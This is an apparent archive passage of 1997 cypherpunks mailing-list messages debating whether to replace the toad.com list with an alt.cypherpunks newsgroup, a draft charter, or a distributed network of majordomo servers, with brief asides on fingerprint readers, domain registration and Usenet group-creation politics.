From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 11 Feb 1997 21:57:25 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: List! No Way: Creation of "alt.cypherpunks"
Message-ID: <199702120557.VAA07288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:11 PM +0000 2/11/97, Attila T. Hun wrote:

>    tim:
>
>    two points you make:
>
>    1.  the propogation is slow...
>
>    2.  some sites do not carry alt. groups
>
>    are enough to kill an active discussion list. of course, it does
>    slow down excessive volume.

Good points. However, I'm used to fairly robust debate on Usenet, and the
prop delay does not seem too stifling to me. As you note, it cuts down on
immediate replies; this may not be a bad thing.

I see any site which can be identified with a corporate or institutional
entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being
targetted if a controversial mailing list is hosted at that site.

(This may not have been the case when the list was full unmoderated, and
was only a "reflector" or exploder of incoming messages. As soon as a
moderator started passing on some messages and rejecting others, the
precedent was set (somewhat) for charges that a site or sysadmin is now
liable. This has not been tested in court, of course, but I fear this is
how things will go. As I mentioned in another message, had the traffic in
alt.religion.scientology instead flowed through a site such as
"scientology@primenet.com," the operators of Primenet and the sysadmin of
that mailing list almost certainly would have received "decease and cyst"
orders. Remember that Netcom was hit with similar orders. Usenet cannot be
stopped in this way. A major strength.)



>    I vote we just set up a new majordomo with some additional antispam
>    filters including knocking out exploding mail headers, etc. I would
>    accept excluding non-members as long as we take the remailers which
>    are listed with either JP or RL.

This is a suggestion I have long thought to be a good one. Only allow posts
from list subscribers, and make a special exception for remailers by adding
them to the approval list. Figure if a spammer is smart enough to know what
a remailer is, at least see her traffic for a while. Drop the inclusion of
remailers if volume is too high.

(Or, put remailer messages in a special place. An ftp or Web site, for
retrieval. Or  have list members "vet" the remailed messages, as someone
was suggesting a few months back. Or....)

>    Likewise, Jim Choate and Sten Drescher apparently are trying to
>    establish a multi-site majordomo.  the extra work of maintaining
>    non-duplicates and sychronization makes the task non-trivial and
>    questionable...

Yeah, it seems to be one of those potentially good ideas that will just
never get done, due to the difficulties, the maintenance, and the press of
other projects. (And even if it gets done, which I hope for of course, I
doubt many of us will want anything with added complexity, new commands for
our posting software to deal with, etc. So, it will have to look just like
an ordinary mailing list, with the mirroring handled transparently.)

(Speculation: Isn't some of this talk about distributed mailing list sites
and mirroring beginning to echo the structure of FidoNet?)

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 11 Feb 1997 22:45:32 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Network of majordomos
Message-ID: <199702120645.WAA07891@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:45 AM 2/11/97 -0600, Firebeard wrote:

>[...] I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.
>[...] Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.

I still think you're just rediscovering Usenet technology. Instead of
installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
you don't like alt.cypherpunks, you could simply start your own top-level
cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
an evil CIA brain-stealing censor) so that cpunks at large could connect with
newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
could do this (instead of using Majordomo) locally, connecting to each other
to achieve wide propagation and low latency.

And, if you must, run mail-to-news gateway(s) which send the newsgroup to
people who want it as E-mail.

Usenet technology does exactly what you're describing: it's a distributed
database of messages designed to facilitate each server getting its own copy
of every message, and holding it locally for distribution to interested
readers. Other people have been kind enough to write, debug, and document the
software - all you have to do is install it. This could be running tonight. 

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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 23:02:19 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120702.XAA08107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If the people decide for creation of a new USENET newsgroup,
we need to think very hard about actually moving it to a different
hierarchy from alt.*. I would propose comp.org.cypherpunks,
comp.cypherpunks, sci.crypt.cypherpunks or something like that.

A comp.* or sci.* newsgroup, if created, has the following advantages
over an alt.* newsgroup:

1) There is usually less spam in sci.* or comp.*
2) There are virtually no completely irrelevant flamewars
3) The propagation will be a lot better
4) More people will be able to read it because of the issue of providers
   not carrying alt.*.

I see nothing that would make a sci.* or comp.* newsgroup  worse than
alt.* newsgroup.

igor

Timothy C. May wrote:
> 
> 
> (Please leave my name in any replies to ensure I see your comments.)
> 
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.
> 
> (We did not, unfortunately, get to the "future of the list" topic at the
> physical meeting...the excellent presentations ran way over the expected
> time and we never got to this topic. Sort of too bad, given John's edict
> that we have 10 days to find and implement an alternative....)
> 
> A Usenet newsgroup has many advantages and disadvantages. Whether it might
> be gatewayed to other mailing lists--perhaps even the list(s) which
> survives "cypherpunks@toad.com"--depends of course on the decision of those
> hosting others lists.
> 
> A charter statement is needed, and then the issuance of a creation message.
> A better charter statement will increase the chances of more sites carrying
> the newsgroup. While many sites carry essentially all newsgroups--more than
> 30,000--, some sites do not and only carry some of the alt.heirarchy. And
> some sites do not carry _any_ of the alt newsgroups.
> 
> At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement.
> Suggestions for additional language or changes are welcome.
> 
> Charter for alt.cypherpunks: (suggested)
> 
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> cryptography. The Cypherpunks grpup has existed since 1992 and has been
> central in the debate about strong crypto, government restrictions, crypto
> anarchy, and in showing weaknesses of various ciphers and security
> products. The mailing list has had as many as 1500 subscribers, plus
> gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks"
> will be a free-wheeling forum for many viewpoints. As it is unmoderated,
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."
> 
> I invite your comments, editorial suggestions, etc. Perhaps when enough of
> the "collective mind" has made inputs (ughh!), the charter can be submitted
> with the creation message. (I'm not knowledgeable about the process, but
> I'll bet many of you are.)
> 
> There are of course disadvantages to such a newsgroup, as any Usenet user
> certainly knows. However, there are advantages as well. Here are some of
> each:
> 
> 
> * Advantages:
> 
> - Usenet is set up to automagically propagate articles across tens of
> thousands of sites.
> 
> - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.)
> for halting distribution of Usenet newsgroups. (Canada stopped some
> Homulka-Teale newsgroups a few years ago, other countries have blocked
> entire sections, but note that the Scientologists have been unable to block
> "alt.religion.scientology"...I surmise that a mailing list version of
> a.r.s. would have faced lawsuits against the list.owner, if reachable in
> U.S. or European courts...a lesson to think about with the current
> imbroglio over certain claims about certain products and the possible
> liability of Sandy and/or toad.com.)
> 
> - fairly sophisticated newsreading software already exists.
> 
> - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers
> to discover the group, read it for a while, then stop. It also, of course,
> increases the number of "What is crypto?" sorts of messages.)
> 
> - persons cannot be unsubscribed from an unmoderated list
> 
> - with a Usenet group, there is no ability to impose notions of "order" on
> the list (e.g., requirements for PGP-signing, demands for "on-topic" posts,
> removal of "illegal" posts, etc.). Thus, people must deal with a virtual
> anarchy by using proper tools, by ignoring what they don't want to see, or
> by contracting out the role of "nanny" to others.
> 
> 
> * Disadvantages
> 
> - Usenet newsgroups are easy targets for spammers, even more so than are
> mailing lists.
> 
> - crossposting often gets out of hand. (With 30,000+ newsgroups, even
> well-intentioned posters often pick the "three or four most likely" targets
> for their posts).
> 
> - propagation is often spotty, and some sites have no access at all to the
> "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
> academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
> to mailing list gateway is possible for these readers.)
> 
> - propagation may be slower than mailing lists.
> 
> - Usenet is of course archived and easily searchable via Alta Vista, Deja
> News, etc.. This bothers some people. (However, the CP mailing list is now
> also archived and searchable, so the disadvantage is becoming moot.)
> 
> - persons cannot be unsubscribed from an unmoderated list (this is also an
> advantage, of course)
> 
> - there will be more newbie-type messages, as casual browsers of Usenet
> discover alt.cypherpunks and ask questions. This is both a disadvantage and
> an advantage.
> 
> 
> * Discussion of some of these points:
> 
> 1. The issue of slow- or non-propagation can be handled by having mailing
> lists which bounce the traffic (from a well-connected site) to folks who
> get slow distribution, or no distribution at all. News to mail gateways, in
> other words. Traffic in the reverse direction (end reader back to
> alt.cypherpunks) can be handled either by "blind posting" to the a.c.
> newsgroup, via one's newsreader, or through mail-to-news gateways, or
> perhaps via the distributor described here.
> 
> 2. And the services of "moderators," such as Eric Blossom's and Ray
> Arachelian's "best of" lists, or even Sandy's list, are of course still
> possible. A newsgroup does not change this, except for the latency in
> getting messages out to newsgroup sites.
> 
> 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The
> Usenet carries huge advantages in terms of having no place to attack it.
> 
> 4. Some have raised the point that Usenet is "inefficient" and should not
> be used for this reason. Well, it may indeed be ineficient, but the costs
> have already been incurred, and alt.cypherpunks would only be 1/30,000th of
> additional load (very roughly speaking). In other words, might as well use
> what's out there. If a "second Usenet" ever comes into existence, fine.
> 
> 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At
> that time, we thought the mailing list had some major advantages. In my
> view, the situation has changed dramatically since then. The mailing list
> has become huge, the volume of noise has increased, majordomo is allowing
> the list to be used for spamming (any 'bot system will probably have this),
> and the list is already gatewayed to many sites as a _newsgroup_ anyway.
> 
> So, I think the time has come to just create it. The "activation energy
> barrier" of a mailing list, where people would have to make the effort to
> subscribe, has long since become irrelevant.
> 
> It may be a target for spammers, but it's hard to imagine it being much
> worse than what we have now.
> 
> Usenet is an anarchy. We might as well use it.
> 
> I've never created an alt group, but I presume many of you have (and I know
> of one currently fed up Cypherpunk who created the entire alt.* hierarchy a
> decade or so ago). I presume some of you can thus help in such an effort.
> 
> --Tim May
> 
> 
> 
> 
> 
> 
> Just say "No" to "Big Brother Inside"
> We got computers, we're tapping phone lines, I know that that ain't allowed.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 21:54:39 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120554.VAA07252@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i have already set up majordomo@algebra.com and cypherpunks@algebra.com 
and can join.

igor

Firebeard wrote:
> 
> >>>>> John Gilmore writes:
> 
> JG> Sandy has agreed to continue moderation through the end of the
> JG> original 1-month experiment (through Feb 19).  And it's a good
> JG> thing, too, because the "cypherpunks community" had better get off
> JG> its whining butt in the next ten days, or it will no longer exist.
> 
> [...]
> 
> JG> This is a "put up or shut up" to the cypherpunks community.
> 
> 	This appears to be as good a time as any to announce that I'm
> "putting up".  I've already taken steps, along with Jim Choate, to
> start a network of majordomos hosting a Cypherpunks mailing list.  I
> didn't intend to announce this until Jim and I had gotten the first
> pair of 'domos working properly, but this means that we'll need to
> speed things up.  Our intention is to have a set of majordomos which
> are intersubscribed to a cypherpunks list on each one, with measures
> taken to ensure that mail loops don't develop.  As the resulting
> mailing list from each 'domo will be identical, periodically
> (initially weekly), the subscriber lists of all of the participating
> majordomos will be compared, with any duplicate subscribers being
> removed from the 'domo(s) with the longest subscriber list.  There
> will be no filtering done of any mail to the collective list, although
> anyone interested in providing a filtered list will be welcome to
> subscribe to the list.  Anyone interested in joining the 'domo network
> with the conditions described (duplicate subscriber checking and no
> filtering) is welcome.
> 
> 	John, I'd appreciate your permission to use your Cypherpunks
> welcome message as the basis for the welcome message of this new list.
> Also, while we will make every effort to have this new list available
> for subscriptions by Feb 20, I'd appreciate it if you could consider
> making the current list available for a short period longer if we
> encounter unanticipated difficulties.
> 
> -- 
> #include <disclaimer.h>                               /* Sten Drescher */
> ObCDABait:      For she doted upon their paramours, whose flesh is as the
> flesh of asses, and whose issue is like the issue of horses.  [Eze 23:20]
> ObFelony: President Clinton, you suck, and those boys died!
> Unsolicited bulk email will be stored and handled for a US$500/KB fee.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 16:27:30 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120027.QAA00326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


linux with 16 MB ram will probably get you through.

igor

Alan Olsen wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote:
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >                          SANDY SANDFORT
> > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> >
> >C'punks,
> >
> >You have probably just read John's post.  I truly hope YOU (each
> >and every one of you) can rise to his challenge.  If you have 
> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O
> 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV
> T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q
> OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT
> fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX
> 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ==
> =CWO1
> -----END PGP SIGNATURE-----
> 
> ---
> |            "Mi Tio es infermo, pero la carretera es verde!"            |
> |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
> | mankind free in one-key-steganography-privacy!"  | Ignore the man      |
> |`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
> |         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Hendrickson <pdh@best.com>
Date: Tue, 11 Feb 1997 21:50:11 -0800 (PST)
To: Greg Broiles <stend@sten.tivoli.com>
Subject: Re: Network of majordomos
Message-ID: <199702120550.VAA07162@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:09 PM 2/11/1997, Greg Broiles wrote:
>At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>> [...] I've already taken steps, along with Jim Choate, to
>> start a network of majordomos hosting a Cypherpunks mailing list.
>> [...] Our intention is to have a set of majordomos which
>> are intersubscribed to a cypherpunks list on each one, with measures
>> taken to ensure that mail loops don't develop.

> I still think you're just rediscovering Usenet technology....

> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.

> Usenet technology does exactly what you're describing:...

How about this?  The people who like Usenet should race ahead and set
it up.  The people who like networks of majordomos should race ahead
and set those up.  Just so long as the tracks meet somewhere in Utah.

The more people are involved with distributing the "list" the more
robust it will be.

Peter Hendrickson
pdh@best.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Tue, 11 Feb 1997 18:11:13 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120211.SAA02828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Feb 11,  2:42pm, Alan Bostick wrote:
> new alt.* newsgroups are better
> received if they don't have top-level names.  Using existing top-level
> hierarchies is better (e.g. alt.security.cypherpunks or
> alt.privacy.cypherpunks).

I agree that alt.privacy.cypherpunks is the best bet, if alt.group
is the route we go.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 11 Feb 1997 19:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120314.TAA05270@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/11/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Sandy has agreed to continue moderation through the end of the
>JG> original 1-month experiment (through Feb 19).  And it's a good
>JG> thing, too, because the "cypherpunks community" had better get off
>JG> its whining butt in the next ten days, or it will no longer exist.
>
>[...]
>
>JG> This is a "put up or shut up" to the cypherpunks community.
>
>	This appears to be as good a time as any to announce that I'm
>"putting up".  I've already taken steps, along with Jim Choate, to
>start a network of majordomos hosting a Cypherpunks mailing list.  I
>didn't intend to announce this until Jim and I had gotten the first
>pair of 'domos working properly, but this means that we'll need to
>speed things up.  Our intention is to have a set of majordomos which
>are intersubscribed to a cypherpunks list on each one, with measures
>taken to ensure that mail loops don't develop.  As the resulting
>mailing list from each 'domo will be identical, periodically
>(initially weekly), the subscriber lists of all of the participating
>majordomos will be compared, with any duplicate subscribers being
>removed from the 'domo(s) with the longest subscriber list....
You might want to set up a temporary majordomo on the same machine as one of
the permanent daemons for debugging purposes.  It is conceivable to me that
a message might be sent to one sub-list, be forewarded to two lists, and
then each of those foreward the same message to each other, causing duplication.
You might get around this if the daemons keep track of each others, unique,
message ID numbers.
In other words, if each unit were to apend the message ID with a personal ID
number when the message came from someone other than a majordomo, then they
could collate them by number, eliminate duplications, and send them on down
the line.
To do this, the majordomo daemons will probably have to have a guaranteed
seat in the front of the cue.
This is probably a stupid point to bring up as you have probably already
cured this problem, but I decided to post it anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 18:12:28 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120212.SAA03278@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 AM 2/11/97 -0800, Timothy C. May wrote:
>- propagation is often spotty, and some sites have no access at all to the
>"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many
>academic sites block just the alt.binaries.pictures heirarchy. Etc. A news
>to mailing list gateway is possible for these readers.)

Everybody with a web browser has access to alt newsgroups via
http://www.dejanews.com/





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 11 Feb 1997 19:00:34 -0800 (PST)
To: John Young <cypherpunks@toad.com
Subject: Re: STE_pup
Message-ID: <199702120300.TAA04924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 AM 2/11/97 -0500, John Young wrote:
>  Oracle's new fingerprint checking device to assure bona fide
>  log-on privileges. Covers other such devices, quotes a maker:
>  "if criminals or hackers get through these, industry will
>  step up one more level."

Fingerprint readers tend to work regardless if the finger is attached to a
body or not. All that fingerprint readers will do is increase the damage to
those relying on ever increasing, but misguided, methods of authentication.
See the rise in "identity theft" since SSN's began to be used for
identification.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Tue, 11 Feb 1997 22:16:53 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Germany Versus Scientology
Message-ID: <199702120616.WAA07549@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I have posted a rather lengthy story about Germany's war against the 
Scientologists. It was long enough to preclude mailing it directly to the 
lists, so I have put it on my web site. You may find it at:

	http://www.dis.org/se7en/

with the link being directly under the large "X." I decided to post it 
for the reasons that I know several people who suffered directly at the 
hands of the Scientologists after trying to infiltrate their organization 
via the Internet. These people will recieve this message due to this 
posting. Enjoy.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Tue, 11 Feb 1997 22:16:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: whois cypherpunks.org ?
Message-ID: <199702120616.WAA07536@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With all this talk about relocating the home of cypherpunks, I decided to
see if any second level domains are registered under the cypherpunks
name.

Both cypherpunks.org and cypherpunks.com are registered by one
Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
though. Anybody knows more about this?

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 22:38:45 -0800 (PST)
To: Mac-crypto Distribution <rah@shipwright.com>
Subject: Mac-Crypto 1997 session Schedule
Message-ID: <199702120638.WAA07847@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: mac-crypto@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date: Tue, 11 Feb 1997 13:43:19 -0800
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <mac-crypto@thumper.vmeng.com>
Subject: Mac-Crypto 1997 session Schedule

hey all;

I have posted a preliminary list of sessions for the 1997 Mac-Crypto
conference at the Mac-Crypto conference at the webpage
http://www.vmeng.com/mc/conf.html

if you haven't registered, please get your name in now!

if you want to give a talk, please drop me a line asap.



Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A
-------------------------------------------------------


  ...I know what probably happened. A new high-level manager at Apple
picked up
  some old dusty videotape off the shelf, labelled "Super Bowl 1984", played
  it and said, "Yah know, that guy on the screen was making a hell of a lot of
  sense until that trouble-maker smashed it!"




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 11 Feb 1997 21:49:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks
Message-ID: <199702120549.VAA07146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hey, folks,

I thought all you had to do to create an alt.group was to have a news admin
somewhere just make a group; send out a control message of somekind. I
thought that alt groups didn't have to go through a charter, or voting
process, or anything else. They just happened.

Then, everyone just has to tell their local news admin that they went to
see it, or they can wait until their news admin sees it flying by, and adds
it to the available groups list at his own discretion.

It's not like we want comp.cypherpunks or something, with a voting process,
right?

Cheers,
Bob Hettinga





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 11 Feb 1997 18:53:26 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120253.SAA04759@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort allegedly said:
> 
[...]
> Finally, if anyone wants to discuss why the Cypherpunk list has
> come to this, or what I did right or wrong as a moderator, let's
> talk about--on the new list(s) YOU create.  For now, though, it's
> off-topic.  We have work to do.

If a scheme can be worked out for a distributed list, I am willing to 
support maybe 100 users at songbird.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 22:01:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd)
Message-ID: <199702120601.WAA07346@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 18:49:46 GMT
> From: Adam Back <aba@dcs.ex.ac.uk>
> 
> > 	This appears to be as good a time as any to announce that I'm
> > "putting up".  I've already taken steps, along with Jim Choate, to
> > start a network of majordomos hosting a Cypherpunks mailing list.  I
> > didn't intend to announce this until Jim and I had gotten the first
> > pair of 'domos working properly, but this means that we'll need to
> > speed things up.  Our intention is to have a set of majordomos which
> > are intersubscribed to a cypherpunks list on each one, with measures
> > taken to ensure that mail loops don't develop.  

> I'll contribute what I had planned:
> 
> As a stop gap measure you could create a standard majordomo at the
> beefiest of your 'domo hosts.

While it is true I was planning on bringing the Austin Cpunks remailer back
(kourier.ssz.com) this rather unexpected expansion has got me backpedalling.
So it looks like it will take about 3 weeks to get the intial site ready for
public access.

Right now my ISDN based site is all we have working. We have another site
through another ISP in the process of registering and configuration. I have
currently created a 'cypherpunks@ssz.com' but still have a couple of other
issues to work out. The most relevant one is that I will be upgrading both
Linux and Majordomo in approx. 2 weeks. We will be discussing this issue
further on Saturday at the Austin Cypherpunks meeting. If all goes well with
our discussion and my upgrade we should have the SSZ cypherpunks site
available in about 2 weeks. Sten and I hope that we can pursuade some others
to get involved both running remailers as well as modifying the various
scripts. At this point everything we do will be released to the public
domain. We also are expecting to add a proviso that all submissions to the
cpunks distributed remailer will be de facto public domain unless a specific
'fair use' header is included in each submission.

Finaly, another issue that will slow me down is the upcoming SRL show here
in Austin. I have committed time and effort so I don't know yet how the
conflicts will come or how I will resolve them. The next SRL planning meet
is Thu. nite so I will have a clearer idea of my upcoming schedule.

> Or you could create a quick 'n dirty mail exploder, by taking the
> current subscribers, and putting 100 mail addresses in a .forward file

[much good comments cut out]

> Final comment: perhaps you've investigated this, but what Perry
> Metzger has for the majordomo running cryptography@c2.net is excellent
> at stopping people forging subscribe and unsubscribe messages.
> 
> And would really cut down the nuisance of people subscribing others
> without their knowledge.

These are several of the issues that we will be discussing this Saturday.
We will also be looking at various means to distribute the subscriber list.
The current lead suggestion is to have subscriptions at any of the cpunks be
evenly distributed among them. This would somewhat complicate the subscriber
process.

Another aspect that I am hot to trot on is setting the system up so that
some of the cpunks sites could be anonymous, crypto, or combo remailers as
well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Tue, 11 Feb 1997 22:48:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
Message-ID: <199702120648.WAA07958@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga writes:

> Hey, folks,

> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.

> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.

In theory, and according to the alt FAQ, anyone can create an alt group. 

In reality, control messages are merely advisory, and greater weight is
lent to control messages which have the imprimatur of the Alt Cabal than
to those issued by mere peons. 

The typical news admin finds that if he honors all rmgroup messages issued
by Cabal members, when they disapprove of a newsgroup not previously
discussed in alt.config, his life is made simpler, and he no longer has to
weed the wheat from the chaf by hand. 

Since most people are inherently lazy, and most newgroups created outside
of the alt.config process are trash, the path of least resistance is to
only automatically honor newgroups and rmgroups issued by Cabal members. 

This is of course the exact antithesis of how alt was supposed to work in
the first place, but with the large number of users on the Net at present,
